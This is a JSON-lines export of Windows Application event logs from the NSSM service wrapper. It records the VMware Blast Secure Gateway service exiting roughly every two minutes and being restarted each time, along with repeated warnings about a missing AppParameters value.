{"@timestamp":1646624749122,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153670}}
{"@timestamp":1646624749122,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153671}}
{"@timestamp":1646624749123,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153672}}
{"@timestamp":1646624877615,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153673}}
{"@timestamp":1646624877616,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153674}}
{"@timestamp":1646624877617,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150140","0"]}}},"module":"Application","provider":"nssm","sequence":153675}}
{"@timestamp":1646624877618,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150140","150140","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153676}}
{"@timestamp":1646624877639,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153677}}
{"@timestamp":1646624877640,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153678}}
{"@timestamp":1646624877640,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153679}}
{"@timestamp":1646624877641,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153680}}
{"@timestamp":1646625006391,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153681}}
{"@timestamp":1646625006392,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153682}}
{"@timestamp":1646625006393,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150940","0"]}}},"module":"Application","provider":"nssm","sequence":153683}}
{"@timestamp":1646625006393,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150940","150940","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153684}}
{"@timestamp":1646625006411,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153685}}
{"@timestamp":1646625006412,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153686}}
{"@timestamp":1646625006413,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153687}}
{"@timestamp":1646625006413,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153688}}
{"@timestamp":1646625134966,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153689}}
{"@timestamp":1646625134970,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153690}}
{"@timestamp":1646625134971,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","149688","0"]}}},"module":"Application","provider":"nssm","sequence":153691}}
{"@timestamp":1646625134972,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["149688","149688","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153692}}
{"@timestamp":1646625134992,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153693}}
{"@timestamp":1646625134993,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153694}}
{"@timestamp":1646625134994,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153695}}
{"@timestamp":1646625134995,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153696}}
{"@timestamp":1646625263499,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153697}}
{"@timestamp":1646625263501,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153698}}
{"@timestamp":1646625263502,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150532","0"]}}},"module":"Application","provider":"nssm","sequence":153699}}
{"@timestamp":1646625263502,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150532","150532","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153700}}
{"@timestamp":1646625263523,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153701}}
{"@timestamp":1646625263524,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153702}}
{"@timestamp":1646625263524,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153703}}
{"@timestamp":1646625263525,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153704}}
{"@timestamp":1646625392151,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153705}}
{"@timestamp":1646625392152,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153706}}
{"@timestamp":1646625392153,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150428","0"]}}},"module":"Application","provider":"nssm","sequence":153707}}
{"@timestamp":1646625392154,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150428","150428","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153708}}
{"@timestamp":1646625392176,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153709}}
{"@timestamp":1646625392176,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153710}}
{"@timestamp":1646625392177,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153711}}
{"@timestamp":1646625392178,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153712}}
{"@timestamp":1646625520668,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153713}}
{"@timestamp":1646625520669,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153714}}
{"@timestamp":1646625520670,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","149188","0"]}}},"module":"Application","provider":"nssm","sequence":153715}}
{"@timestamp":1646625520671,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["149188","149188","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153716}}
{"@timestamp":1646625520691,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153717}}
{"@timestamp":1646625520691,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153718}}
{"@timestamp":1646625520692,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153719}}
{"@timestamp":1646625520693,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153720}}
{"@timestamp":1646625649234,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153721}}
{"@timestamp":1646625649235,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153722}}
{"@timestamp":1646625649235,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150756","0"]}}},"module":"Application","provider":"nssm","sequence":153723}}
{"@timestamp":1646625649235,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150756","150756","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153724}}
{"@timestamp":1646625649252,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151188","0"]}}},"module":"Application","provider":"nssm","sequence":153725}}
{"@timestamp":1646625649253,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151188","150756","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153726}}
{"@timestamp":1646625649268,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153727}}
{"@timestamp":1646625649269,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153728}}
{"@timestamp":1646625649270,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153729}}
{"@timestamp":1646625649271,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153730}}
{"@timestamp":1646625777770,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153731}}
{"@timestamp":1646625777771,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153732}}
{"@timestamp":1646625777772,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151052","0"]}}},"module":"Application","provider":"nssm","sequence":153733}}
{"@timestamp":1646625777772,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151052","151052","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153734}}
{"@timestamp":1646625777793,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153735}}
{"@timestamp":1646625777793,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153736}}
{"@timestamp":1646625777794,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153737}}
{"@timestamp":1646625777795,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153738}}
{"@timestamp":1646625906288,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153739}}
{"@timestamp":1646625906290,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153740}}
{"@timestamp":1646625906291,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","149900","0"]}}},"module":"Application","provider":"nssm","sequence":153741}}
{"@timestamp":1646625906291,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["149900","149900","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153742}}
{"@timestamp":1646625906309,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153743}}
{"@timestamp":1646625906310,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153744}}
{"@timestamp":1646625906310,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153745}}
{"@timestamp":1646625906311,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153746}}
{"@timestamp":1646626034934,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153747}}
{"@timestamp":1646626034935,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153748}}
{"@timestamp":1646626034936,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151480","0"]}}},"module":"Application","provider":"nssm","sequence":153749}}
{"@timestamp":1646626034936,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151480","151480","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153750}}
{"@timestamp":1646626034956,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153751}}
{"@timestamp":1646626034956,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153752}}
{"@timestamp":1646626034957,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153753}}
{"@timestamp":1646626034958,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153754}}
{"@timestamp":1646626163461,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153755}}
{"@timestamp":1646626163462,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153756}}
{"@timestamp":1646626163463,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151292","0"]}}},"module":"Application","provider":"nssm","sequence":153757}}
{"@timestamp":1646626163463,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151292","151292","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153758}}
{"@timestamp":1646626163482,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153759}}
{"@timestamp":1646626163482,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153760}}
{"@timestamp":1646626163483,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153761}}
{"@timestamp":1646626163484,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153762}}
{"@timestamp":1646626291993,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153763}}
{"@timestamp":1646626291994,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153764}}
{"@timestamp":1646626291995,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151320","0"]}}},"module":"Application","provider":"nssm","sequence":153765}}
{"@timestamp":1646626291996,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151320","151320","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153766}}
{"@timestamp":1646626292014,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153767}}
{"@timestamp":1646626292015,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153768}}
{"@timestamp":1646626292015,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153769}}
{"@timestamp":1646626292016,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153770}}
{"@timestamp":1646626420513,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153771}}
{"@timestamp":1646626420514,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153772}}
{"@timestamp":1646626420515,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150580","0"]}}},"module":"Application","provider":"nssm","sequence":153773}}
{"@timestamp":1646626420515,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150580","150580","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153774}}
